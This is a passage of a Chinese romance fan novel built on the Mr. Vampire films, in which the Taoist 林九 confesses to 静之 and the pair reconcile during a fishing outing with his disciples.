秋生载着文才慢悠悠踩着脚踏板,有一搭没一搭跟他聊着天。 秋生:“诶,你说,师父这回是真陷下去了吧?我看静之姐不见的时候,他的脸色比那个米其莲假死时还难看啊。” 文才:“可不是嘛,不过那女人是过分了点,都结婚了,还给儿子取名爱英,怎么不叫爱才呢?” 秋生嫌弃得直皱鼻子,“她取爱才你愿意啊,膈应不死你!不过大帅可真果断,说离就离,听说今天就给她赶出大帅府了,那个傻孩子倒是留下来了。 这回啊,她真是啥都想要,但是啥都没捞着,嘿嘿!” 文才点点头,附和道:“真是报应,我看她啊,要是不勾搭师父,现在不知道过得有多好哦,怎么也是个大帅夫人。” 正当两人吐槽得正欢的时候,一道淡黄色的身影从他们身边急速闪过,快的几乎看不清是谁。 “师,师兄,那是师父?” 文才不太敢确定,眼睛瞪得大大的,却被那人身后扬起的尘土挡住了视线。 秋生叹为观止,嘴巴半晌没合上。 他眼神好,一下就认出来了,那人正是林九。 “哇靠,平时不舍得用的神行符都掏出来了,我说他怎么让我载你呢!” 文才突发奇想,“师兄,你说神行符贴在自行车上,我们会不会像开汽车一样快啊?” 秋生大笑出声,一手向后,给了文才一肘击,“你他妈别笑死我,你怎么不贴在汽车上,看它能不能飞上天!” 文才哦~~了一声,偷偷揉着被怼到差点岔气的胸口,忿忿道: “我要告诉师父你说脏话!” “哈哈哈, 你告状我就把你丢下去,让你自己走过去!” “你!” 二人驶过黄昏下稻田中的小路,留下一串骂骂咧咧的话…… 嗯,怎么不算温馨呢? …… 第118章 林九终于表白了 静之吃了粥,喝了醒酒汤。 胃里暖融融的,发了身汗,头痛的感觉去了不少,身体一舒适,她就又有些犯困了。 现在正是夏季尾端,热得很。 四目道长这里,没有床,都是在地上铺一层褥子,就席地而睡。 她有些不太习惯,铺褥子太热,不铺太硌。 于是她把房间阳台的推拉门打开了二十厘米宽的小缝,让夜风能够吹进来,不至于太闷热。 她的房间在二楼,侧躺在床上,刚好能够看到外头一片平坦的稻田和草地。 落日余晖洒在上头,泛起一阵金色的稻浪,有些暖和的风吹过,稻杆摇曳,窣窣作响。 静之的心,一下就被大自然的风光治愈了,就连呼吸也平和了不少。 斜阳不怎么热,她没盖被,觉得温度刚刚好。 眼皮一下子就发重了,看了不过几分钟,她眨眼的速度越来越慢,最后眼一闭,终于睡了过去。 来到这个世界,她算是极少睡觉的了。 每天不是担惊受怕,就是在修炼的路上,好不容易能有个沉浸式睡眠,她睡得很香。 …… 不知过了多久。 屋外突然传来几声压低声音的交谈声。 她太困了,抽不出心神细细聆听。 她想,应该是四目又跟他徒弟家乐斗嘴了吧。 交谈声止,她又陷入了深度睡眠。 此时此刻,林九盘腿坐在她的褥子旁边,眼都不带眨,痴痴地看着月光下睡得正香的女子。 如水的月光透过那条二十厘米的小缝,映在她脸上。 林九第一眼就看到她蹙起的眉头。 为什么皱眉? 她还在生他的气吗? 林九伸出手动作极轻的抚着她眉间的褶皱。 抚不平,他有些泄气,心里也涌起一股自责。 又坐了许久,坐到林九屁股都有些发麻了,他才慢慢跪坐起来,悄悄凑近她,如蜻蜓点水般,啄了一口她的额头。 很神奇的,手抚不平的褶皱,通过他一个轻吻,褶皱渐渐消失,两条快成结的细眉,也渐渐舒展开了。 林九发现了,他有些开心,心里又隐隐有些心疼。 她都这么生气了,感受到他的亲近,她还是下意识地为之感到开心呢。 林九啄了她额头一口,没有立刻离开,而是深深地凝视着她,呼吸着她喷洒出来,依旧残留着些酒气的气息。 脑子里不由自主地想起昨天中午看到的那一幕。 她不开心的时候,第一个找的,居然是仲尧那小子。 哼! 林九微微侧过脸轻轻叼住她的唇瓣,带着惩罚般,眸色沉沉地咬了一口。 静之受痛,不禁嘤咛了一声,眉头又慢慢皱起,一直乖乖呆着的眼珠子,这会儿也渐渐游离在眼皮底下。 可见她睡得不是很踏实了。 林九有些心虚,他放开她的唇瓣,又轻轻啄了一口,这才后仰起身子,又盘坐在她旁边,像极了一尊守护神。 守护神算上上一次在来来旅馆的那次贴贴,这次是第二次主动亲吻一个女人,而且还没有被她拒绝。 虽然她睡着了,但他依旧很开心,还有些害羞,隐在阴影里的耳垂红得透亮。 仿佛一定要找点东西遮掩,他扯过静之身旁的薄被,轻轻给她盖上。 视线触及她唇上浅浅的牙印时,林九眸光一闪,又把被子往上拉了拉,把她的嘴围住。 …… 这样做的结果,就是静之踢被子了。 半夜,林九终于撑不住,找了有起床气的四目讨了床被褥,就铺在她的隔壁。 林九侧躺在她身边,看着她热得有些濡湿的额发,更心虚了。 于是走出去找了一把蒲扇回来,给静之扇了半宿的扇子。 …… “哈秋!” 一个喷嚏直接把静之自己震醒。 她揉了揉有些发痒的鼻子,又伸了个大大的懒腰。 左手伸展出去的时候,却突然捶到一阵温热。 她下意识回头一看。 靠! 林九怎么在这里? “你——” 刚说了一个字,林九立刻捂住她的嘴。 他坐了起来,理了理有些发皱的衣服,两手放在膝盖上,十分严肃地说: “静之,我喜欢你,我对…她只有师兄妹之间的感情,我们…回去义庄好不好?” 明明是在告白,那张严肃的脸却仿佛在商讨国家大事一般,让静之有些想笑。 而且一大早就告白,他是不是有些呆啊? 静之被子下的手暗暗掐了一把自己大腿,以痛觉死死憋住那股笑意,然后缓缓摇了摇头: “才不要,我才刚来,我要在这里玩几天再回去。” 林九愣愣地看着她,脑子一时转不过弯来。 过了好一会儿,他撑起身子有些局促地挪近一点,“回去……你是说,你还回义庄去吗?” 静之挑了挑眉,“怎么?林道长这就想把我赶出去了?” 林九快速摇头,“没有,我,我不是这个意思。” 林九坐得更正了,腰杆子僵得可以。 静之看着他那副少见的笨拙样子,忍不住叹了口气。 她坐起身子,学着他的样子跪坐起身,然后伸出双手把住他的脸,直视他泛起亮光的双眼: “是不是真的喜欢我?” 林九重重的点头,又低沉地嗯了一声。 怕她不信似的,又开口说了一句: “喜欢的。” 刚说完,他就觉得脸上有些烧得慌。 “先别急着害羞,最重要的一个问题。” 她深吸了一口气,才肃起表情,缓缓问道:“你真的,真的对米其莲没有一丁点男女之情了吗?” 林九坚决摇头,想了想,又朝静之说: “你说过,有些事,不能只靠嘴巴说说,请你给我个机会,让我证明我自己。” 静之有些怔愣,这个男人,都对她用上“请”,这个字眼了。 他俩刚见面的时候,他可傲娇地要死呢,哪有这么好说话。 静之半天不说话,本就心里发慌的林九,这会更是坐不住了。 他挪了挪膝盖,又明明白白地问了一遍: “静之,我们……在一起吧?” 他瞪得圆圆的双眼里满是期待,又有一丝怕被拒绝的惶恐。 听到这话,静之心跳漏了一拍。 她轻轻咳了一声,环着胸,微微扬起下巴,看着门外渐渐升起的朝阳说: “不行,我说过,有些事不是嘴上说说就可以,你还在考察期呢!” 林九的脑子里,自动把这句话翻译成她愿意,只不过要考验他一段时间而已。 林九喜形于色,一双剑眉肆意扬起,这两天下垂的嘴角瞬间起飞。 他忍不住张开双臂,想把失而复得的佳人搂进怀里,静之瞬间后退,一手又死死撑住他不断施压的肩膀。 “干什么?” “静之……” 他性子无趣,实在不会说什么情话,唤了一声名字后,竟不知要说句什么,来讨取她的欢心。 只不过他不再压抑自己的感情后,满腹柔情全都装在了那双眼睛里。 静之只看了一眼,就赶紧撇过头去,好险没有直接投入他的怀抱里。 “考察期间,动手动脚就扣分!” 林九愣住了,“……一共几分,扣多少分?” 静之还没想好怎么逗他呢,林九身后突然传来四目的嘲笑声: “哈哈哈哈哈,师兄,你也会有今天!静之妹子,给他扣光,扣光光,哈哈哈哈哈,不解风情的臭老头!” 林九索抱不成,反被嘲笑,他恼羞成怒,拿起席上的蒲扇就掷了过去。 四目是个炼体的,他可没在怕,尽管那扇子被林九丢出破空声,他依旧两指一伸,夹得稳稳的。 “搞笑!在我的地盘想欺负我?小心我不给你饭吃!” 静之问了一句:“家乐做饭啊?” 四目拿着扇子悠闲地扇着风,“啊不然呢?还要我这个师父做饭给他吃不成?” 静之:“那我要起床吃饭了,他做的饭是真的好吃,道长你还真没骗我呢!” 四目一副与有荣焉的样子,背着手乐滋滋的出去了,还边说着: “那就快出来吃吧!算你有福气,知道来我这儿玩!” “嘿嘿,肯定是你教得好!”住人家里,还被人照顾了一天一夜,静之不得赶紧奉承两句。 可能是很少被人夸,四目嘴角快咧到后脑勺了,他甚至转头说一句: “你是不知道,那臭小子做鱼更是有一套,你不是要玩吗?等会叫他带你去鱼塘抓鱼,中午回来炖鱼吃啊!” 众所周知,猫最爱吃鱼。 静之昨天胆汁都快吐出来了,光喝了粥,现在嘴巴都快淡出鸟来。 一听可以吃鱼,忙不迭地赶紧点点头。 四目出去后,她急着出去玩,把自己的被褥卷吧卷吧两下,就冲了出去。 林九看着那犹如花卷的被子有些无语。 实在看不下去,他将被子撑开,抱到阳台外头,晒在木头栏杆上。 都是酒气,晒一晒去去味道好。 晒完她的,他忍不住也把自己的晒一晒。 看着两床靠得极近的被子,林九默默又红了脸。 于是将他的扯远了一点。 刚想转身下楼,又莫名走回去,将两床被子一角贴得紧紧的。 “师父,下来吃饭啦,粥要凉了!” 秋生在楼底下昂起头对着晒被的林九叫着,脸上是还未来得及收回的揶揄笑容。 林九像是做了亏心事被发现,他压低声音,对秋生说了句“滚”,就转身回了房。 那两床被子,最后他也没给分开,两个被角在微风中摇曳。 风停后,又渐渐垂了下来,挨在了一块儿,仿佛天生就该是这样黏在一起的…… 第119章 她又叫阿九了 饭桌上,秋生和文才吸溜着粥,两双眼睛伸出碗沿,偷摸打量着隔壁桌的静之跟林九。 师父好像找回魂,整个精气神都回来了。 就是不经意间瞥向静之的眼神,柔和得让他们有些难以下咽。 这还是他们那个严肃古板,动不动就对他们非打即骂的师父吗…… 看来,米其莲的事儿,是翻篇了吧? 而静之正兴高采烈地问着四目池塘的事儿。 “道长,池塘在哪儿啊,大不大,水深不深?” 四目怒目圆睁,死死盯着坐他对面的一休大师,一双大手掐着桌角掐到指节泛白,“……池塘的事儿等会再说,你又来干什么?!” 一休不紧不慢的放下碗筷,撩起袖子五指一并,指向桌上的萝卜干,“菁菁做了点咸菜,我拿过来给你们尝尝。” 边说着,他的眼神立马转到隔壁的林九和静之身上,眼里的光瞬间亮了亮。 他微微一笑,“两位看起来与我佛有缘,要不要等会一起做早课啊?” 一休: 这两人身上的功德金光,是他从未见过的亮,他修佛修了大半辈子了,甚至都没有他们的亮。 当真是,人外有人。 一时间,林九转头看静之,静之转头看四目,四目得意地扬起下巴看着一休: “哈!他俩做什么早课,都是信道的,你端着你的破咸菜,自己回去敲你的破木鱼吧!” 林九用了点力气,把汤匙“哐”的一声丢回碗里。 眉头微微皱起,“来者是客,师弟。” 静之看着一休大师满脸微笑,依旧不急不躁的样子,不禁乍舌,可真不愧是修佛的。 四目道长巴掌都快扬到他脸上了,他还这么沉得住气。 静之转头看了眼被林九训的四目。 只见他涨红了脸,有着下不来台的样子,赶紧递个台阶给他下: “道长,人多热闹嘛……快吃,吃完告诉我池塘在哪呗,我们去抓鱼呀!” 四目梗着脖子,磨蹭半天,又恶狠狠地瞪了一休,才不情不愿说: “刚赶完一趟尸,前天还驮着你回来,累都累死了,我不去,等会叫家乐带你去吧。” 你? 静之姐一个人去? 隔壁桌的秋生和文才立马不答应了,争先恐后地转过头。 秋生放下碗筷,作尽一副扭扭捏捏的姿态,摇着林九的袖子撒娇: “师父,我也想去,好不容易出来一趟,你就让我们放松放松嘛。” 林九的脸色霎时变得铁青,还没等他对秋生发难,文才就赶紧附和道: “我,还有我,我也想去!” “噗呲!” 静之捂着嘴,看着秋生和文才的样子,乐不可支。 “文才,你确定你能下水?你身上的窟窿多得能网鱼了,我都怕你喝完粥,粥从纱布里漏出来。” 文才看了眼师父的脸色,缩了缩脖子,心里又实在想出去玩,于是硬着头皮说:“那,那我站在岸上。” 林九脸色不明,文才赶紧又掰了个理由,“师父,我多晒晒太阳,能去去尸气。” 他越说声音越小,到最后细若蚊声。 因为林九的脸渐渐黑了下来。 林九的沉默,是对两个徒弟最大的威慑。 他俩噤若寒蝉,又不约而同眼巴巴看着静之。 静之一噎,瞅了一眼林九,“你……” 林九:“我也去。” “……” 他垂下眸子,边喝着粥,边一本正经地解释道: “我摘点柚子叶给他泡澡。” 静之眼珠子一转,瞄了一点他微微带上点血色的耳垂,不禁暗暗笑了一声。 “那就都去吧。” 他正视自己感情以后,倒是跟上辈子的二娣一样呢,一样粘人。 有些不同的是,二娣爱撒娇和逗她。 林九则是跟背后灵似的,一句话都无,就亦步亦趋的,跟了她一早上。 文才:“好耶!” 秋生开始起哄:“哦~~” 林九耳垂的那抹血色越来越重,脸上倒是不动声色,他眉头一低。 “等会你跟静之先去,我帮文才换完药就跟上。” 秋生恨不得马上就去,三两下喝完粥,屁股一朝外转,就抖着二郎腿在隔壁桌等。 静之转头看向这屋里唯二的女眷,“你是叫菁菁吗,要一起出去走走吗?” 菁菁眼睛一亮,咬着筷头看向一休,有些犹豫地说: “可是我师父不吃肉诶,鱼也不能吃。” 静之微微张嘴刚想说话,一休笑笑,朝她扬了扬手,“要去就去吧,早点回来,我们刚搬完家,还有好些地方没收拾呢。” 菁菁兴高采烈,应了声好,又调皮地对静之眨眨眼睛。 静之温柔地朝她笑了笑。 是个活泼的妹子呢,蔗姑应该也能跟她处得来吧。 菁菁是个孤儿,性格跟男孩子似的,还从未有女性朋友这么温柔对她笑过呢。 她圆圆的脸颊瞬间浮上两抹红晕,一双大眼睛快速瞅了静之一眼,就赶紧挪低视线,手中的汤勺把碗底刮得咯吱咯吱响。 静之笑了笑,低下头默默加快进食的速度,还真别说,这山药粥虽有些凉了,但家乐确实做得好。 正当她吃得欢的时候,一双筷子夹了几根青菜放到她碗里。 静之抬头一看,正巧看到林九还未来得及收回的手。 林九加快速度收回手,过了几秒,说: “多吃菜。” 静之盯了两眼他手中微微湿润的筷子,就看到他的手指一抖,把筷子放下,埋头喝粥。 静之挑起碗里的菜默默吃掉,等到进食完毕,她才反应过来,那筷子,他好像用过了。 啧,暗戳戳的,也不知道像谁。 林九倒是没有想那么多,见她愿意吃他夹的菜,他面色缓和了不少。 给文才重新包扎时,都温柔了许多,惹得文才频频侧目。 “师父,快点,他们都走老远了。” “……” 林九一抿嘴,动作加快,勒纱布的力道加重了些。 文才委屈地看了他一眼:“……痛痛痛,我,我不说了。” 林九翻了个白眼,“知道痛就好了,走吧。” …… 林九没等文才穿好衣服,提上四目递过来的背篓,就快步追了上去。 四目把手搭在文才的肩上,看着林九步步生风的背影,笑道: “呦,走这么快,是怕未来媳妇儿跟人跑了吗?” 文才:“师叔,你放开我,我要赶紧去了,我不认识路。” 四目啧了一声,给了文才一脚,转头哼了一声,回去补觉。 …… 秋生跟家乐勾肩搭背,一溜烟跑得老远了。 就留下两个女孩子在后面缓缓走着。 静之原本正跟菁菁有说有笑的,一前一后,走在窄窄的田埂上,正穿越过一片稻田,身后突然传来轻微窸窸窣窣的声音。 只听闻菁菁嘢了一声,一道熟悉的男声瞬间响起: “走路记得看脚下。” 静之回头一看,林九两指正抓着一条水蛇,那蛇垂在空中的身子还扭个不停。 菁菁侧过身子发出赞叹:“哇,林道长你手真快,我都没感觉。” 林九把蛇丢得远远的,趁她侧身,一个大跨步,直接越过她走到静之身后。 原本女孩子就喜欢离得近,菁菁离静之也就一人身位。 林九这一跨,整个身子几乎快贴到静之背上了。 静之只感觉背后传来他火热的体温和涌过来的淡淡檀香,脸腾的一下就全红了。 她快走几步,离他远了一些。 林九也不说话,只是紧随其后。 待到他们走完两亩稻田,来到较宽的小路上时,她突然放缓脚步,想叫他走到旁边去。 下一秒,她的脚后跟就被林九踩住了。 静之身子惯性向前,眼瞅着就要以头抢地,林九伸出手想揽住她的腰稳住她。 手还没碰到她的腰,静之迅速弯腰,一手撑地,一个侧空翻,单脚站在路边。 她伸出手,“把鞋还我。” 林九心里有些淡淡的失落,却还是听话的捡起鞋拍了拍他的脚印,才放到她脚下。 她伸出的那只手刚刚撑地了,有些灰尘,林九掏出手帕轻轻给她拂了拂。 他的动作太轻了,轻到静之甚至觉得他是不是在撩她。 不过看他那一本正经的样子,她又赶紧打消了那个念头。 只是赶紧把手收回,轻轻攥了攥,待到手心的痒意消失,她才弯腰把鞋穿上。 静之又伸手朝向林九:“给我。” 林九:“……给什么?” 静之指了指他塞进怀里的帕子,“脏了,我等会到水池旁边洗一洗。” 林九一时之间,竟不想把帕子给她。 洗了以后,她是不是就要收回去了? 见他还在犹豫,静之咬咬牙,扯住他的衣领,把手探进去他斜着的前襟寻那条帕子。 天气炎热,林九身上除了那条她送的袍子,就是一件薄薄的里衣。 她手这一伸,仿佛正隔着那层布料,轻抚着他的胸口。 林九脸色瞬间爆红,喉结上下动了一下,赶紧摁住静之还在乱动的手腕。 “静之……” “怎么,最近只会叫名字,不会说话了?” “不是,我拿给你就好。” 离得近,他的声音放得很轻,微微沙哑的声音,引起胸口震荡,静之只觉得指尖微麻。 赶紧把手抽了出来,用另外一只手捏了捏指尖。 林九终是把帕子给了她。 走到池塘后,就看到秋生跟家乐跟比赛似的,不好好抓鱼,倒是爬得高高的,从半山坡往池塘里跳。 溅起的水花,一个比一个大。 果然还是年轻人,她现在就没有这个闲心玩了。 只是跟菁菁坐在池塘边的大石头上,把鞋袜脱了,把脚泡进冰凉的池水里。 静之:“你不去玩玩?” 菁菁眼睛亮得不行:“可以吗?” 呆在静之身边,她的性子不由自主收敛了许多,但看到家乐和秋生泼水泼得正开心,她也开始蠢蠢欲动。 静之朝她点点头,“当然可以,女孩子不一定要矜持,快乐才是最重要的,去吧!” 她又圈起手朝着远处玩水的两人大喊: “等会你们俩多抓条鱼给菁菁带回去啊,大师不能吃,她可以吃的!” 只听得哦哦两声,依旧水花四溅,玩得乐不思蜀。 她笑了下,刚一转头,身边就换了个人。 又一抬头,菁菁已经挽起裤脚,朝那玩得开心的两个人走了过去。 静之喊:“别去水太深的地方哦!秋生!你照顾好她!” 远处传来秋生肆意的笑声: “哈哈哈,知道啦,小管家婆!” 静之撇嘴,捻起一颗身旁的石子丢了过去,咚的一声,落到了秋生不远处,又惹得他叉着腰大笑出声。 静之小声哔哔,“讨厌!” 一道破空声起。 秋生感觉到腿弯处一痛,一头栽进了水里。 再度抬起头时,就看到静之踩着水坐在石头上一脸开心,而她身旁坐着的林九,则一脸宠溺地看着她。 秋生还有啥不明白的。 得,师父护短护到她那儿去了。 见秋生吃瘪,静之开心得很,她亮晶晶的眼睛里宛如落了碎星,让林九一时看愣了神。 “……傻样,你不是要摘柚子叶吗?还坐在这里?” 林九有些不好意思的捏着手中的鹅卵石,又将地上放着的篓子提起来朝她秀了秀。 “摘完了,这篓子就够他洗的了。” 静之:“这么快?你什么时候摘的?” 林九有些委屈,她最近都不关注他了,不过嘴里还是回应了她的问题: “刚刚你和菁菁泡脚的时候。” 在林九的古板的思想里,他不能随意看女孩子的脚,于是,便先走开把正事做了。 就算是现在,他也没有低头看一眼静之泡在水里的脚。 这池塘的水是流动的,冰凉舒爽,缓解了不少夏季的燥意,静之被冰得嗟叹了一声,一转头,便看到林九额间被晒出的密密细汗。 她眼珠子一转,心想,他这么严肃的人,应该没有在这种地方,干过那种事吧? 静之偷偷笑了一下。 她轻咬下唇,突然掬起一点清水洒向他的脸。 林九愣愣地看着她,期间,几颗剔透的水珠汇聚成一条水线,流进了他的眼里。 林九瞬间闭眼,抬手不停揉着眼睛。 还没等他睁眼,他的鞋袜以迅雷不及掩耳之势,被静之扒了个精光。 一双温热的大脚被用力摁到了沁凉的溪水里面。 “嘶!静之!” 他有些无奈地唤了一声,两只手把身下的大石头捏得死紧。 静之直起腰,手往后撑着石头,接着有一下每一下踩着流动的水,语气十分放松: “夏天就要这样子嘛,我看你都快热死了,帮你凉快凉快!” 她轻笑一声,又朝他建议: “你动动脚?动动更舒服呢,这里的水可真清澈!” 林九先是转头看了一眼就在他手边的,她撑在石头上的手。 他稍稍挪近一点他的手,却是不敢直接贴上去,在离她手约一厘米的位置停了下来。 两只脚却听她的话,轻轻划拉着流过他脚面的清水。 是很凉快呢,他想。 但是心,却是软软的,也轻飘飘的,跟此刻蓝天中的浮云一样。 他晃悠没两下,脚侧的皮肤突然蹭到一点细腻的皮肤。 林九的两脚瞬间定住,腿肚子肉绷得紧紧的。 碰,碰到她的脚了! 林九的脸红得发黑,下一瞬,他的眉头瞬间皱得死紧。 为什么偏偏在这个时候,脚抽筋了! 他实在舍不得破坏这个和谐的气氛,于是强忍着抽筋的疼痛,一双脚竟是连动都不敢动一下。 可是脚底板越来越痛,最终他忍不住挺直了腰板,闷哼出声。 “怎么了?” 静之看着他额头又冒出的细汗,忍不住心生疑惑。 这不是泡着呢吗,还这么热? 林九羞愤欲死,却不愿欺骗她,于是乖乖交代: “脚……抽筋了。” “哪只?” “……左脚。” 下一秒,她的右脚伸了过来,压在他的脚背上,施力让他踩到水里光滑的鹅卵石上。 缓解抽筋的过程并不好受,特别脚下还是一块一块凸起的鹅卵石。 但是林九的心神却完全被他脚背上的触感吸引走了。 凉滑的脚丫触碰到他的脚背的一瞬间,一股电流从尾椎骨升起,直让他起了两胳膊的鸡皮疙瘩。 林九的喉结不断上下滑动着,闭了闭眼,强行压下心头突然泛起的汹涌羞意。 “好,好了,不疼了。” 静之像是没听到一样,手捧着脸,眼神直直地看着前方玩耍的三人,两只小脚干脆把他的脚当做垫脚石一般,轻轻踩着,挪都没挪开一下。 “……” 她在看他们,而他,在看她。 越看,林九心跳越快,仿佛都快跳出嗓子眼儿了,眼神却不舍得移开一秒。 家乐轻轻泼了一捧水到秋生身上,诶诶两声,朝他后头使了个眼色。 “你师父,都快把人家姑娘盯出个洞来了!” 秋生嘴角一勾,“我看啊,我马上就要有师娘喽!” 林九的耳朵动了动,突然声色厉荏的唤了一声: “秋生!” 然后又小心翼翼看了静之一眼。 却不曾想,静之不知什么时候,已回头定定的看着他。 “静,静之,我……” “林九,我配不上你吗?” 林九慌了,“不是不是,我不想唐突了你。” 静之长叹了一口气,“在我面前,你不需要如此小心翼翼,都不像你了。” 林九点头,却又不知该说点什么,来哄她开心。 正当他绞尽脑汁的时候,静之突然说了句: “闭眼。” 林九愣愣地问:“什么?” 虽问着,眼睛却不由自主闭上了。 耳边突然传来她低低的笑声,那笑声越来越近,最后停在他耳边,笑声止。 林九闭着眼睛,听了一会儿她均匀的呼吸声和潺潺的流水声后,刚想睁眼,她却突然说话了。 “林九……别再负我……” 林九心里一阵刺痛。 刚想开口解释,温热的呼吸消失在他耳畔,却缓缓掠过他的脸颊,洒向他的鼻尖。 紧接着,两片有些干燥的唇瓣就被柔软堵住。 (……略……) 不远处的三个人,你捂我的眼,我捂她的眼,一阵手忙脚乱。 菁菁:“亲,亲上了!” 家乐:“我看看我看看!” 秋生:“小孩子看什么看!” 菁菁&家乐:“我成年了!” 秋生撇嘴:“靠,这么快就分开了!” …… 静之没有太过分,她知道林九害羞,而且有外人在,她只是轻轻贴了几秒,便缓缓放开他。 随着二人距离拉大,林九缓缓睁开眼睛。 他的眼里满是喜意,这回,他终于敢光明正大抓住她的手了。 林九将那一厘米距离降到负数,他的大掌紧紧覆盖住她的手背,就跟她在水里的小脚做的一样,紧密贴合。 他说:“我会用行动证明的。” 好似有些不放心,他又问了一句: “我们……你确定,要原谅我,跟我在一起了吗?” 静之凝视着他双眸,调笑了一句: “林道长,莫不是想让我再亲你一口,证明一下我的决心?” 远处他不省心的大徒弟,圈着嘴朝这边大声喊着: “亲一口!亲一口!师父亲师娘啊喂~” 林九羞得头顶都快冒烟儿了,他咬牙切齿,狠狠丢过去一颗鹅卵石。 下一秒,秋生嘭的一声,又跌入水里。 林九瞪了宛如落汤鸡,却乐得连牙花子都秀出来了的秋生一眼。 “抓你的鱼!抓不到就别回来了!” 看林九发怒,三个人不约而同地耸耸肩,转身抓鱼去了。 …… 话已说开,静之也不再扭捏。 她拿起石板上被她洗干净晾在那儿的手帕,把他的脚提了一只起来。 林九的脸瞬间烫得能煮熟一个鸡蛋,他夺过手帕,自己胡乱擦着湿漉漉的脚。 “我,我自己来!” 待穿好鞋袜,他又清洗了一下帕子,这才将帕子递给她。 静之没接,她眼里满是笑意,拿湿漉漉、粉嫩嫩的脚趾头,轻轻撩了一下他的小腿。 “我要……你帮我擦干净。” 林九这回连脖子都红了个彻底。 他迅速把帕子往静之手上一塞,目不斜视背起背篓,然后一个转身,直直撞上眼前的歪脖子树。 “噗嗤!阿九,羞什么?痛不痛啊?” 阿九…… 林九哪里管不上什么痛不痛。 他听到她又叫了这两个字,心里又喜又羞,竟是不敢再回头看她那双充满笑意的眼睛一眼。 赶紧绕过那棵歪脖子树,同手同脚走了好一段路,这才缓过神来,站在原地朝她招了招手。 静之:“阿九,我来啦!” 第120章 我要鱼&克制的林九 静之是个粗心眼儿的人。 事情翻篇了就是翻篇了,她也不会埋在心里太久,既然已经决定接受林九,那么她的行为也顺从自己的心,恨不得与他多贴贴。 回去的路上,林九躲躲闪闪,一手拎着背篓,一手背在身后走着。 静之左跑右追,一直去够他的手。 有时遇到几个迎面走来的乡亲,林九躲得更是厉害。 “呦,九叔,怎么有空来这儿?” 林九点头寒暄一句,“……有点事。” 刚走过去一个,又来一个。 “九叔啊,很久没来这儿喽。” 林九扯了扯嘴角,笑得有些局促。 “有点事来一趟。” 拿着锄头的乡亲多嘴问了一句: “什么事啊?” 林九僵住了,他那乌黑的眼仁动荡得有些厉害。 说是追着心上人过来的,会不会太丢脸,但他又不想说谎。 静之看出他的窘迫,趁机挽住他僵直的胳膊,朝老乡笑了笑,说: “我们出来玩的,玩两天就回去啦,有空来四目道长家坐坐呀!” 这下轮到老乡僵住了,他讪笑一下,嘴里说着一定一定,却脚下生风,急匆匆走了。 静之狐疑地看两眼他逃窜般的背影,“阿九,怎么回事?” 林九瞧着远处那站在侧边阳台上,叉腰指着隔壁房子骂骂咧咧的四目,一下就明白了。 他师弟,当真是与那一休不对付。 …… 就在这时,二人身后突然传来由远及近的脚步声。 “师父,快让开,你们慢慢走,我们先回去杀鱼啦!” 林九一回头,就差点被秋生撞上,他赶紧把愣住了的静之扯到路边,让那两个走路都要比赛的臭小子过去。 只见秋生跟家乐,一人提着两桶水,你追我赶,从二人身边窜了过去。 他俩经过以后,菁菁挽着裤脚,居然也提着一桶,半跑半走跟在后面。 “喂,你们两个等等我!” 静之:“要帮忙不?” 菁菁回过头,扎在脸颊两侧的两个辫子被溪水打得半湿,刘海全湿了,一绺一绺贴在额头上,她却笑得灿烂极了,可见玩得很开心。 “不用啦,就这一桶水跟鱼,我一手就能拎回去!” 话刚说完,她果然单手提着桶,奔跑着赶了上去。 静之情不自禁感叹:“哇,真是怪力少女,我看她比文才身手好多了,力气也大。” 林九无话可说。 文才那小子,从小就挺笨的,修道不行,体术也一般,也就比常人好那么一丢丢。 话说,他刚刚不是说也要跟来抓鱼吗? 大半天了,怎么不见人影? 瞧不见人,林九也不纠结,脑子里撇去文才,他感受了一下手弯处温热的手,虽然不习惯在外面与人如此亲密,但一想到对象是她,就不舍得让她离远一点,于是两人就这么挽着胳膊走着。 静之轻轻摇了摇他的胳膊,眼睛看着前头渐渐远去的两个男生问: “阿九,你说秋生跟家乐,谁更厉害啊?” 林九眯着眼注视了家乐的背影一会儿,从平举两桶水的双臂,到没溢出一点水的水桶,再到稳健的下盘。 他不禁微微点头。 “家乐这孩子,许久不见,进步倒是挺大。” 他垂眉回忆了一下,又缓缓说道: “身手的话,秋生练武的年头比他多了几年,自然更胜他一筹,若是论修道方面,恐怕,家乐更胜秋生三分。” 林九是个实事求是的人,有什么说什么。 秋生那小子,学武的时候挺积极,学那些整人的招数更积极,单单修正统道术的时候,他不是走神,就是拿要帮他姑妈看店当借口逃掉。 跟了他这么多年,也只学了点皮毛。 相比之下,他师弟的徒弟可乖得多了。 静之同样站在后头看着那两个嘻嘻哈哈的年轻人。 突然,她昂起头,兴致勃勃地看向林九: “阿九,要不,让他俩切磋切磋?点到即止的那种,不管谁输谁赢,都有激励作用呀!” 林九思索了一下,觉得可行,于是点点头,“午休后问问他们吧,这事儿,得他俩自己同意才行。” 静之一脸笃定,“秋生肯定愿意,文才太弱了,除了能打闹一下,实在挑不起他的战意,家乐倒是刚好啊,他俩玩得来,男孩子嘛,越打越有兄弟情!” 林九转过头看着她的眼睛,“这么了解?” 静之一下就心虚了。 她能说,上辈子梁赞的几个儿子跟她的崽,就是这样子打打闹闹长大的吗? 林九心思敏锐,见她眼神躲闪,他就知道,她有事瞒着他。 见林九一直盯着她,仿佛要把她看穿的模样,嘴角又向下撇,静之就知道,他想歪了。 她反问:“难道不是吗?” 林九嘴巴抿得起劲:“……” 他站定身子凝视静之,仿佛要让她给出一个真实的答案。 “再怀疑我,就扣分了哦?” 林九眼神渐渐失去光芒。 仲尧的事儿,他不想问。 现在,她还这么了解男孩子之间的长大方式,他不由发散思维,深想了一下。 难道……她也有青梅竹马一起长大的雄灵猫吗? 见他的头越垂越低,静之有些无措。 她抽出夹在他胳膊里的手,捧起他的脸,认真解释: “只有你,我一直只有你,没有别人。” 边说着,她又凑上前轻啄了一下他下垂的嘴角,“你不骗我,我也不会骗你的,不要不开心嘛,我们忙了这么久,好不容易才能放松放松。” 刚安慰两句,静之顿感鼻子痒痒,于是赶紧捂住口鼻打了个喷嚏。 林九还没来得及高兴她的解释跟亲昵,眉心立马竖起一条细纹,“感冒了?” 静之捂着嘴离他远了一步,然后把手腕伸给他,“不知道,你把把——哈秋!” 又是一个大喷嚏,她身子一抖,震得她脑子直发懵。 林九眸子一沉,立刻搭上她的手腕诊脉。 过了好一会儿,脸上突然有些晦涩。 他还以为,她是泡凉水泡的。 结果,是风邪入体。 难道,是他昨晚给她打了半宿的扇子,扇感冒了? 林九突然忆起她今早起床时的那个喷嚏,那就是感冒的前兆吧。 “回去吧,我找四目熬点药给——哈秋!” 